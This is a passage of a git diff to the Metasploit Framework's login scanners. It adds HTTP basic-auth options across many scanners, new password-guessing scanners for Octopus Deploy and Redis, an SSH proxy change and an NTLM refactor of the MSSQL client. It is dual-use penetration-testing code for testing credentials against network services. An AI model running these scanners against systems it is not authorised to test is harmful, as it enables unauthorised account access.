cli.request_cgi({ diff --git a/lib/metasploit/framework/login_scanner/caidao.rb b/lib/metasploit/framework/login_scanner/caidao.rb index 28eb0a7c7b..1907f96a4a 100644 --- a/lib/metasploit/framework/login_scanner/caidao.rb +++ b/lib/metasploit/framework/login_scanner/caidao.rb @@ -43,6 +43,7 @@ module Metasploit def set_sane_defaults self.method = "POST" if self.method.nil? + super end # Actually doing the login. Called by #attempt_login diff --git a/lib/metasploit/framework/login_scanner/chef_webui.rb b/lib/metasploit/framework/login_scanner/chef_webui.rb index 1f4cdf2d16..76ac2ad1e3 100644 --- a/lib/metasploit/framework/login_scanner/chef_webui.rb +++ b/lib/metasploit/framework/login_scanner/chef_webui.rb @@ -69,7 +69,7 @@ module Metasploit # @param (see Rex::Proto::Http::Resquest#request_raw) # @return [Rex::Proto::Http::Response] The HTTP response def send_request(opts) - cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => self}, ssl, ssl_version, proxies) + cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => self}, ssl, ssl_version, proxies, http_username, http_password) configure_http_client(cli) cli.connect req = cli.request_raw(opts) diff --git a/lib/metasploit/framework/login_scanner/gitlab.rb b/lib/metasploit/framework/login_scanner/gitlab.rb index a8213d9d2d..648151d13a 100644 --- a/lib/metasploit/framework/login_scanner/gitlab.rb +++ b/lib/metasploit/framework/login_scanner/gitlab.rb @@ -35,7 +35,9 @@ module Metasploit }, ssl, ssl_version, - proxies) + proxies, + http_username, + http_password) configure_http_client(cli) cli.connect diff --git a/lib/metasploit/framework/login_scanner/glassfish.rb b/lib/metasploit/framework/login_scanner/glassfish.rb index 3b48584f35..72ee429180 100644 --- a/lib/metasploit/framework/login_scanner/glassfish.rb +++ b/lib/metasploit/framework/login_scanner/glassfish.rb @@ -20,6 +20,13 @@ module Metasploit # @return [String] Cookie session attr_accessor :jsession + # @!attribute http_username + attr_accessor :http_username + # @return [String] HTTP username + + # @!attribute http_password + attr_accessor :http_password + # (see Base#check_setup) def check_setup begin @@ -61,7 +68,7 @@ module Metasploit # @param (see Rex::Proto::Http::Resquest#request_raw) # @return [Rex::Proto::Http::Response] The HTTP response def send_request(opts) - cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies) + cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies, http_username, http_password) configure_http_client(cli) cli.connect req = cli.request_raw(opts) diff --git a/lib/metasploit/framework/login_scanner/http.rb b/lib/metasploit/framework/login_scanner/http.rb index 77928c41bb..df40e14047 100644 --- a/lib/metasploit/framework/login_scanner/http.rb +++ b/lib/metasploit/framework/login_scanner/http.rb @@ -161,6 +161,14 @@ module Metasploit # @return [Boolean] Whether to conform to IIS digest authentication mode. attr_accessor :digest_auth_iis + # @!attribute http_username + # @return [String] + attr_accessor :http_username + + # @!attribute http_password + # @return [String] + attr_accessor :http_password + validates :uri, presence: true, length: { minimum: 1 } @@ -171,7 +179,7 @@ module Metasploit # (see Base#check_setup) def check_setup http_client = Rex::Proto::Http::Client.new( - host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies + host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies, http_username, http_password ) request = http_client.request_cgi( 'uri' => uri, @@ -213,8 +221,8 @@ module Metasploit cli_ssl = opts['ssl'] || ssl cli_ssl_version = opts['ssl_version'] || ssl_version cli_proxies = opts['proxies'] || proxies - username = opts['credential'] ? opts['credential'].public : '' - password = opts['credential'] ? opts['credential'].private : '' + username = opts['credential'] ? opts['credential'].public : http_username + password = opts['credential'] ? opts['credential'].private : http_password realm = opts['credential'] ? opts['credential'].realm : nil context = opts['context'] || { 'Msf' => framework, 'MsfExploit' => framework_module} diff --git a/lib/metasploit/framework/login_scanner/ipboard.rb b/lib/metasploit/framework/login_scanner/ipboard.rb index f322c9e629..5bbcd2ae49 100644 --- a/lib/metasploit/framework/login_scanner/ipboard.rb +++ b/lib/metasploit/framework/login_scanner/ipboard.rb @@ -7,10 +7,18 @@ module Metasploit # IP Board login scanner class IPBoard < HTTP + # @!attribute http_username + # @return [String] + attr_accessor :http_username + + # @!attribute http_password + # @return [String] + attr_accessor :http_password + # (see Base#attempt_login) def attempt_login(credential) http_client = Rex::Proto::Http::Client.new( - host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies + host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies, self.http_username, self.http_password ) configure_http_client(http_client) diff --git a/lib/metasploit/framework/login_scanner/jenkins.rb b/lib/metasploit/framework/login_scanner/jenkins.rb index 3d5f338498..26884714e6 100644 --- a/lib/metasploit/framework/login_scanner/jenkins.rb +++ b/lib/metasploit/framework/login_scanner/jenkins.rb @@ -37,7 +37,7 @@ module Metasploit result_opts[:service_name] = 'http' end begin - cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies) + cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies, http_username, http_password) configure_http_client(cli) cli.connect req = cli.request_cgi({ diff --git a/lib/metasploit/framework/login_scanner/manageengine_desktop_central.rb b/lib/metasploit/framework/login_scanner/manageengine_desktop_central.rb index 3ea0bd3869..32654263a2 100644 --- a/lib/metasploit/framework/login_scanner/manageengine_desktop_central.rb +++ b/lib/metasploit/framework/login_scanner/manageengine_desktop_central.rb @@ -29,7 +29,7 @@ module Metasploit # Returns the latest sid from MSP # - # @param [Rex::Proto::Http::Response] + # @param res [Rex::Proto::Http::Response] # @return [String] The session ID for MSP def get_sid(res) cookies = res.get_cookies @@ -41,7 +41,7 @@ module Metasploit # Returns the hidden inputs # - # @param [Rex::Proto::Http::Response] + # @param res [Rex::Proto::Http::Response] # @return [Hash] Input fields def get_hidden_inputs(res) found_inputs = {} diff --git a/lib/metasploit/framework/login_scanner/mybook_live.rb b/lib/metasploit/framework/login_scanner/mybook_live.rb index a69b304934..c7442e05da 100644 --- a/lib/metasploit/framework/login_scanner/mybook_live.rb +++ b/lib/metasploit/framework/login_scanner/mybook_live.rb @@ -35,7 +35,7 @@ module Metasploit begin cred = Rex::Text.uri_encode(credential.private) body = "data%5BLogin%5D%5Bowner_name%5D=admin&data%5BLogin%5D%5Bowner_passwd%5D=#{cred}" - cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version) + cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, http_username, http_password) configure_http_client(cli) cli.connect req = cli.request_cgi( diff --git a/lib/metasploit/framework/login_scanner/octopusdeploy.rb b/lib/metasploit/framework/login_scanner/octopusdeploy.rb new file mode 100644 index 0000000000..1569a8534d --- /dev/null +++ b/lib/metasploit/framework/login_scanner/octopusdeploy.rb @@ -0,0 +1,64 @@ +require 'metasploit/framework/login_scanner/http' +require 'json' + +module Metasploit + module Framework + module LoginScanner + + # Octopus Deploy login scanner + class OctopusDeploy < HTTP + + # Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP + CAN_GET_SESSION = true + DEFAULT_PORT = 80 + PRIVATE_TYPES = [ :password ] + + # (see Base#set_sane_defaults) + def set_sane_defaults + uri = '/api/users/login' if uri.nil? + method = 'POST' if method.nil? + + super + end + + def attempt_login(credential) + result_opts = { + credential: credential, + host: host, + port: port, + protocol: 'tcp' + } + if ssl + result_opts[:service_name] = 'https' + else + result_opts[:service_name] = 'http' + end + begin + json_post_data = JSON.pretty_generate({ Username: credential.public, Password: credential.private }) + cli = Rex::Proto::Http::Client.new(host, port, { 'Msf' => framework, 'MsfExploit' => framework_module }, ssl, ssl_version, http_username, http_password) + configure_http_client(cli) + cli.connect + req = cli.request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'ctype' => 'application/json', + 'data' => json_post_data + ) + res = cli.send_recv(req) + body = JSON.parse(res.body) + if res && res.code == 200 && body.key?('IsActive') && body['IsActive'] + result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.body) + else + result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res) + end + rescue ::JSON::ParserError + result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res.body) + rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + Result.new(result_opts) + end + end + end + end +end diff --git a/lib/metasploit/framework/login_scanner/redis.rb b/lib/metasploit/framework/login_scanner/redis.rb new file mode 100644 index 0000000000..dc0d12f3b0 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/redis.rb @@ -0,0 +1,91 @@ +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' +require 'metasploit/framework/tcp/client' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with REDIS. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + + class Redis + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + + DEFAULT_PORT = 6379 + LIKELY_PORTS = [ DEFAULT_PORT ] + LIKELY_SERVICE_NAMES = [ 'redis' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + # This method can create redis command which can be read by redis server + def redis_proto(command_parts) + return if command_parts.blank? + command = "*#{command_parts.length}\r\n" + command_parts.each do |p| + command << "$#{p.length}\r\n#{p}\r\n" + end + command + end + + # This method attempts a single login with a single credential against the target + # @param credential [Credential] The credential object to attempt to login with + # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object + def attempt_login(credential) + result_options = { + credential: credential, + status: Metasploit::Model::Login::Status::INCORRECT, + host: host, + port: port, + protocol: 'tcp', + service_name: 'redis' + } + + disconnect if self.sock + + begin + connect + select([sock], nil, nil, 0.4) + + command = redis_proto(['AUTH', "#{credential.private}"]) + sock.put(command) + result_options[:proof] = sock.get_once + + # No password - ( -ERR Client sent AUTH, but no password is set\r\n ) + # Invalid password - ( -ERR invalid password\r\n ) + # Valid password - (+OK\r\n) + + if result_options[:proof] && result_options[:proof] =~ /but no password is set/i + result_options[:status] = Metasploit::Model::Login::Status::NO_AUTH_REQUIRED + elsif result_options[:proof] && result_options[:proof] =~ /^-ERR invalid password/i + result_options[:status] = Metasploit::Model::Login::Status::INCORRECT + elsif result_options[:proof] && result_options[:proof][/^\+OK/] + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + end + + rescue Rex::ConnectionError, EOFError, Timeout::Error, Errno::EPIPE => e + result_options.merge!( + proof: e, + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + ) + end + disconnect if self.sock + ::Metasploit::Framework::LoginScanner::Result.new(result_options) + end + + private + + # (see Base#set_sane_defaults) + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.max_send_size ||= 0 + self.send_delay ||= 0 + end + end + end + end +end diff --git a/lib/metasploit/framework/login_scanner/smh.rb b/lib/metasploit/framework/login_scanner/smh.rb index b8c4ca6c51..947a576bf6 100644 --- a/lib/metasploit/framework/login_scanner/smh.rb +++ b/lib/metasploit/framework/login_scanner/smh.rb @@ -33,7 +33,7 @@ module Metasploit res = nil begin - cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies) + cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies, http_username, http_password) configure_http_client(cli) cli.connect req = cli.request_cgi(req_opts) diff --git a/lib/metasploit/framework/login_scanner/snmp.rb b/lib/metasploit/framework/login_scanner/snmp.rb index 9d17b75e0b..723d283c8e 100644 --- a/lib/metasploit/framework/login_scanner/snmp.rb +++ b/lib/metasploit/framework/login_scanner/snmp.rb @@ -60,7 +60,7 @@ module Metasploit end end - # Attempt to login with every {Credential credential} in # {#cred_details}. + # Attempt to login with every {Credential credential} in # #cred_details. # # @yieldparam result [Result] The {Result} object for each attempt # @yieldreturn [void] diff --git a/lib/metasploit/framework/login_scanner/ssh.rb b/lib/metasploit/framework/login_scanner/ssh.rb index cdc4bf71c9..6201ca1657 100644 --- a/lib/metasploit/framework/login_scanner/ssh.rb +++ b/lib/metasploit/framework/login_scanner/ssh.rb @@ -1,5 +1,6 @@ require 'net/ssh' require 'metasploit/framework/login_scanner/base' +require 'rex/socket/ssh_factory' module Metasploit module Framework @@ -47,12 +48,14 @@ module Metasploit # @note The caller *must* close {#ssh_socket} def attempt_login(credential) self.ssh_socket = nil + factory = Rex::Socket::SSHFactory.new(framework,framework_module, proxies) opt_hash = { - :port => port, - :disable_agent => true, - :config => false, - :verbose => verbosity, - :proxies => proxies + :port => port, + :use_agent => false, + :config => false, + :verbose => verbosity, + :proxy => factory, + :non_interactive => true } case credential.private_type when :password, nil diff --git a/lib/metasploit/framework/login_scanner/wordpress_multicall.rb b/lib/metasploit/framework/login_scanner/wordpress_multicall.rb index eaeb9aedf8..8290a9e672 100644 --- a/lib/metasploit/framework/login_scanner/wordpress_multicall.rb +++ b/lib/metasploit/framework/login_scanner/wordpress_multicall.rb @@ -29,10 +29,10 @@ module Metasploit def set_default - self.wordpress_url_xmlrpc = 'xmlrpc.php' - self.block_wait = 6 - self.base_uri = '/' - self.chunk_size = 1700 + @wordpress_url_xmlrpc ||= 'xmlrpc.php' + @block_wait ||= 6 + @base_uri ||= '/' + @chunk_size ||= 1700 end # Returns the XML data that is used for the login. @@ -92,7 +92,7 @@ module Metasploit 'ctype' =>'text/xml' } - client = Rex::Proto::Http::Client.new(rhost) + client = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version, proxies, http_username, http_password) client.connect req = client.request_cgi(opts) res = client.send_recv(req) @@ -110,6 +110,8 @@ module Metasploit # @param credential [Metasploit::Framework::Credential] # @return [Metasploit::Framework::LoginScanner::Result] def attempt_login(credential) + set_default + @passwords ||= [credential.private] generate_xml(credential.public).each do |xml| send_wp_request(xml) req_xml = Nokogiri::Slop(xml) diff --git a/lib/metasploit/framework/login_scanner/wordpress_rpc.rb b/lib/metasploit/framework/login_scanner/wordpress_rpc.rb index 51265384fc..48f820e679 100644 --- a/lib/metasploit/framework/login_scanner/wordpress_rpc.rb +++ b/lib/metasploit/framework/login_scanner/wordpress_rpc.rb @@ -10,7 +10,7 @@ module Metasploit # (see Base#attempt_login) def attempt_login(credential) http_client = Rex::Proto::Http::Client.new( - host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies + host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies, http_username, http_password ) configure_http_client(http_client) @@ -32,7 +32,7 @@ module Metasploit request = http_client.request_cgi( 'uri' => uri, 'method' => method, - 'data' => generate_xml_request(credential.public,credential.private), + 'data' => generate_xml_request(credential.public,credential.private) ) response = http_client.send_recv(request) diff --git a/lib/metasploit/framework/login_scanner/zabbix.rb b/lib/metasploit/framework/login_scanner/zabbix.rb index 17bdb3ff91..97c53f1949 100644 --- a/lib/metasploit/framework/login_scanner/zabbix.rb +++ b/lib/metasploit/framework/login_scanner/zabbix.rb @@ -66,7 +66,7 @@ module Metasploit # @param (see Rex::Proto::Http::Resquest#request_raw) # @return [Rex::Proto::Http::Response] The HTTP response def send_request(opts) - cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => self}, ssl, ssl_version, proxies) + cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => self}, ssl, ssl_version, proxies, http_username, http_password) configure_http_client(cli) cli.connect req = cli.request_raw(opts) diff --git a/lib/metasploit/framework/mssql/client.rb b/lib/metasploit/framework/mssql/client.rb index acfed80b88..4c79a8eb0e 100644 --- a/lib/metasploit/framework/mssql/client.rb +++ b/lib/metasploit/framework/mssql/client.rb @@ -9,11 +9,6 @@ module Metasploit extend ActiveSupport::Concern include Metasploit::Framework::Tcp::Client - NTLM_CRYPT = Rex::Proto::NTLM::Crypt - NTLM_CONST = Rex::Proto::NTLM::Constants - NTLM_UTILS = Rex::Proto::NTLM::Utils - NTLM_XCEPT = Rex::Proto::NTLM::Exceptions - # Encryption ENCRYPT_OFF = 0x00 #Encryption is available but off. ENCRYPT_ON = 0x01 #Encryption is available and on. @@ -21,23 +16,23 @@ module Metasploit ENCRYPT_REQ = 0x03 #Encryption is required. # Packet Type - TYPE_SQL_BATCH = 1 # (Client) SQL command - TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused) - TYPE_RPC = 3 # (Client) RPC - TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters, + TYPE_SQL_BATCH = 1 # (Client) SQL command + TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused) + TYPE_RPC = 3 # (Client) RPC + TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters, # Request Completion, Error and Info Messages, Attention Acknowledgement - TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention - TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data + TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention + TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager - TYPE_TDS7_LOGIN = 16 # (Client) Login - TYPE_SSPI_MESSAGE = 17 # (Client) Login - TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7 + TYPE_TDS7_LOGIN = 16 # (Client) Login + TYPE_SSPI_MESSAGE = 17 # (Client) Login + TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7 # Status - STATUS_NORMAL = 0x00 - STATUS_END_OF_MESSAGE = 0x01 - STATUS_IGNORE_EVENT = 0x02 - STATUS_RESETCONNECTION = 0x08 # TDS 7.1+ + STATUS_NORMAL = 0x00 + STATUS_END_OF_MESSAGE = 0x01 + STATUS_IGNORE_EVENT = 0x02 + STATUS_RESETCONNECTION = 0x08 # TDS 7.1+ STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+ # @@ -55,14 +50,14 @@ module Metasploit idx = 0 pkt = '' pkt_hdr = '' - pkt_hdr = [ + pkt_hdr = [ TYPE_TDS7_LOGIN, #type STATUS_END_OF_MESSAGE, #status 0x0000, #length 0x0000, # SPID - 0x01, # PacketID (unused upon specification + 0x01, # PacketID (unused upon specification # but ms network monitor stil prefer 1 to decode correctly, wireshark don't care) - 0x00 #Window + 0x00 #Window ] pkt << [ @@ -85,18 +80,18 @@ module Metasploit sname = Rex::Text.to_unicode( rhost ) dname = Rex::Text.to_unicode( db ) - ntlm_options = { - :signing => false, - :usentlm2_session => use_ntlm2_session, - :use_ntlmv2 => use_ntlmv2, - :send_lm => send_lm, - :send_ntlm => send_ntlm - } - - ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options) workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) - ntlmsspblob = NTLM_UTILS::make_ntlmssp_blob_init(domain_name, workstation_name, ntlmssp_flags) + ntlm_client = ::Net::NTLM::Client.new( + user, + pass, + workstation: workstation_name, + domain: domain_name, + ) + type1 = ntlm_client.init_context + # SQL 2012, at least, does not support KEY_EXCHANGE + type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE] + ntlmsspblob = type1.serialize idx = pkt.size + 50 # lengths below @@ -137,9 +132,9 @@ module Metasploit pkt << ntlmsspblob # Total packet length - pkt[0,4] = [pkt.length].pack('V') + pkt[0, 4] = [pkt.length].pack('V') - pkt_hdr[2] = pkt.length + 8 + pkt_hdr[2] = pkt.length + 8 pkt = pkt_hdr.pack("CCnnCC") + pkt @@ -147,64 +142,38 @@ module Metasploit # has a strange behavior that differs from the specifications # upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header # is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification - if tdsencryption == true proxy = TDSSSLProxy.new(sock) proxy.setup_ssl - resp = proxy.send_recv(pkt) + resp = proxy.send_recv(pkt, 15, false) else - resp = mssql_send_recv(pkt) + resp = mssql_send_recv(pkt, 15, false) end - # Get default data - begin - blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(resp) - # a domain.length < 3 will hit this - rescue NTLM_XCEPT::NTLMMissingChallenge - return false - end - - challenge_key = blob_data[:challenge_key] - server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error - #netbios name - default_name = blob_data[:default_name] || '' - #netbios domain - default_domain = blob_data[:default_domain] || '' - #dns name - dns_host_name = blob_data[:dns_host_name] || '' - #dns domain - dns_domain_name = blob_data[:dns_domain_name] || '' - #Client time - chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' - - spnopt = {:use_spn => send_spn, :name => rhost} - - resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(user, pass, challenge_key, - domain_name, default_name, default_domain, - dns_host_name, dns_domain_name, chall_MsvAvTimestamp, - spnopt, ntlm_options) - - ntlmssp = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, user, resp_lm, resp_ntlm, '', ntlmssp_flags) + # Strip the TDS header + resp = resp[3..-1] + type3 = ntlm_client.init_context([resp].pack('m')) + type3_blob = type3.serialize # Create an SSPIMessage idx = 0 pkt = '' pkt_hdr = '' - pkt_hdr = [ - TYPE_SSPI_MESSAGE, #type - STATUS_END_OF_MESSAGE, #status - 0x0000, #length - 0x0000, # SPID - 0x01, # PacketID - 0x00 #Window + pkt_hdr = [ + TYPE_SSPI_MESSAGE, #type + STATUS_END_OF_MESSAGE, #status + 0x0000, #length + 0x0000, # SPID + 0x01, # PacketID + 0x00 #Window ] - pkt_hdr[2] = ntlmssp.length + 8 + pkt_hdr[2] = type3_blob.length + 8 - pkt = pkt_hdr.pack("CCnnCC") + ntlmssp + pkt = pkt_hdr.pack("CCnnCC") + type3_blob if self.tdsencryption == true - resp = mssql_ssl_send_recv(pkt,proxy) + resp = mssql_ssl_send_recv(pkt, proxy) proxy.cleanup proxy = nil else @@ -283,7 +252,7 @@ module Metasploit pkt << dname # Total packet length - pkt[0,4] = [pkt.length].pack('V') + pkt[0, 4] = [pkt.length].pack('V') # Embedded packet lengths pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2 @@ -294,7 +263,7 @@ module Metasploit if self.tdsencryption == true proxy = TDSSSLProxy.new(sock) proxy.setup_ssl - resp = mssql_ssl_send_recv(pkt,proxy) + resp = mssql_ssl_send_recv(pkt, proxy) proxy.cleanup proxy = nil else @@ -304,7 +273,7 @@ module Metasploit end info = {:errors => []} - info = mssql_parse_reply(resp,info) + info = mssql_parse_reply(resp, info) disconnect @@ -316,17 +285,17 @@ module Metasploit # Parse an "environment change" TDS token # def mssql_parse_env(data, info) - len = data.slice!(0,2).unpack('v')[0] - buff = data.slice!(0,len) - type = buff.slice!(0,1).unpack('C')[0] + len = data.slice!(0, 2).unpack('v')[0] + buff = data.slice!(0, len) + type = buff.slice!(0, 1).unpack('C')[0] nval = '' - nlen = buff.slice!(0,1).unpack('C')[0] || 0 - nval = buff.slice!(0,nlen*2).gsub("\x00", '') if nlen > 0 + nlen = buff.slice!(0, 1).unpack('C')[0] || 0 + nval = buff.slice!(0, nlen*2).gsub("\x00", '') if nlen > 0 oval = '' - olen = buff.slice!(0,1).unpack('C')[0] || 0 - oval = buff.slice!(0,olen*2).gsub("\x00", '') if olen > 0 + olen = buff.slice!(0, 1).unpack('C')[0] || 0 + oval = buff.slice!(0, olen*2).gsub("\x00", '') if olen > 0 info[:envs] ||= [] info[:envs] << { :type => type, :old => oval, :new => nval } @@ -337,7 +306,7 @@ module Metasploit # Parse a "ret" TDS token # def mssql_parse_ret(data, info) - ret = data.slice!(0,4).unpack('N')[0] + ret = data.slice!(0, 4).unpack('N')[0] info[:ret] = ret info end @@ -346,7 +315,7 @@ module Metasploit # Parse a "done" TDS token # def mssql_parse_done(data, info) - status,cmd,rows = data.slice!(0,8).unpack('vvV') + status, cmd, rows = data.slice!(0, 8).unpack('vvV') info[:done] = { :status => status, :cmd => cmd, :rows => rows } info end @@ -355,11 +324,11 @@ module Metasploit # Parse an "error" TDS token # def mssql_parse_error(data, info) - len = data.slice!(0,2).unpack('v')[0] - buff = data.slice!(0,len) + len = data.slice!(0, 2).unpack('v')[0] + buff = data.slice!(0, len) - errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv') - emsg = buff.slice!(0,elen * 2) + errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv') + emsg = buff.slice!(0, elen * 2) emsg.gsub!("\x00", '') info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}" @@ -370,14 +339,14 @@ module Metasploit # Parse an "information" TDS token # def mssql_parse_info(data, info) - len = data.slice!(0,2).unpack('v')[0] - buff = data.slice!(0,len) + len = data.slice!(0, 2).unpack('v')[0] + buff = data.slice!(0, len) - errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv') - emsg = buff.slice!(0,elen * 2) + errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv') + emsg = buff.slice!(0, elen * 2) emsg.gsub!("\x00", '') - info[:infos]||= [] + info[:infos] ||= [] info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}" info end @@ -386,8 +355,8 @@ module Metasploit # Parse a "login ack" TDS token # def mssql_parse_login_ack(data, info) - len = data.slice!(0,2).unpack('v')[0] - buff = data.slice!(0,len) + len = data.slice!(0, 2).unpack('v')[0] + _buff = data.slice!(0, len) info[:login_ack] = true end @@ -398,7 +367,7 @@ module Metasploit info[:errors] = [] return if not data until data.empty? - token = data.slice!(0,1).unpack('C')[0] + token = data.slice!(0, 1).unpack('C')[0] case token when 0x81 mssql_parse_tds_reply(data, info) @@ -434,14 +403,14 @@ module Metasploit info[:colnames] ||= [] # Parse out the columns - cols = data.slice!(0,2).unpack('v')[0] + cols = data.slice!(0, 2).unpack('v')[0] 0.upto(cols-1) do |col_idx| col = {} info[:colinfos][col_idx] = col - col[:utype] = data.slice!(0,2).unpack('v')[0] - col[:flags] = data.slice!(0,2).unpack('v')[0] - col[:type] = data.slice!(0,1).unpack('C')[0] + col[:utype] = data.slice!(0, 2).unpack('v')[0] + col[:flags] = data.slice!(0, 2).unpack('v')[0] + col[:type] = data.slice!(0, 1).unpack('C')[0] case col[:type] when 48 @@ -458,8 +427,8 @@ module Metasploit when 34 col[:id] = :image - col[:max_size] = data.slice!(0,4).unpack('V')[0] - col[:value_length] = data.slice!(0,2).unpack('v')[0] + col[:max_size] = data.slice!(0, 4).unpack('V')[0] + col[:value_length] = data.slice!(0, 2).unpack('v')[0] col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '') when 36 @@ -467,31 +436,31 @@ module Metasploit when 38 col[:id] = :int - col[:int_size] = data.slice!(0,1).unpack('C')[0] + col[:int_size] = data.slice!(0, 1).unpack('C')[0] when 127 col[:id] = :bigint when 165 col[:id] = :hex - col[:max_size] = data.slice!(0,2).unpack('v')[0] + col[:max_size] = data.slice!(0, 2).unpack('v')[0] when 173 col[:id] = :hex # binary(2) - col[:max_size] = data.slice!(0,2).unpack('v')[0] + col[:max_size] = data.slice!(0, 2).unpack('v')[0] - when 231,175,167,239 + when 231, 175, 167, 239 col[:id] = :string - col[:max_size] = data.slice!(0,2).unpack('v')[0] - col[:codepage] = data.slice!(0,2).unpack('v')[0] - col[:cflags] = data.slice!(0,2).unpack('v')[0] - col[:charset_id] = data.slice!(0,1).unpack('C')[0] + col[:max_size] = data.slice!(0, 2).unpack('v')[0] + col[:codepage] = data.slice!(0, 2).unpack('v')[0] + col[:cflags] = data.slice!(0, 2).unpack('v')[0] + col[:charset_id] = data.slice!(0, 1).unpack('C')[0] else col[:id] = :unknown end - col[:msg_len] = data.slice!(0,1).unpack('C')[0] + col[:msg_len] = data.slice!(0, 1).unpack('C')[0] if(col[:msg_len] and col[:msg_len] > 0) col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '') @@ -517,28 +486,28 @@ module Metasploit case col[:id] when :hex str = "" - len = data.slice!(0,2).unpack('v')[0] + len = data.slice!(0, 2).unpack('v')[0] if(len > 0 and len < 65535) - str << data.slice!(0,len) + str << data.slice!(0, len) end row << str.unpack("H*")[0] when :string str = "" - len = data.slice!(0,2).unpack('v')[0] + len = data.slice!(0, 2).unpack('v')[0] if(len > 0 and len < 65535) - str << data.slice!(0,len) + str << data.slice!(0, len) end row << str.gsub("\x00", '') when :datetime - row << data.slice!(0,8).unpack("H*")[0] + row << data.slice!(0, 8).unpack("H*")[0] when :rawint - row << data.slice!(0,4).unpack('V')[0] + row << data.slice!(0, 4).unpack('V')[0] when :bigint - row << data.slice!(0,8).unpack("H*")[0] + row << data.slice!(0, 8).unpack("H*")[0] when :smallint row << data.slice!(0, 2).unpack("v")[0] @@ -551,8 +520,8 @@ module Metasploit when :image str = '' - len = data.slice!(0,1).unpack('C')[0] - str = data.slice!(0,len) if (len and len > 0) + len = data.slice!(0, 1).unpack('C')[0] + str = data.slice!(0, len) if (len and len > 0) row << str.unpack("H*")[0] when 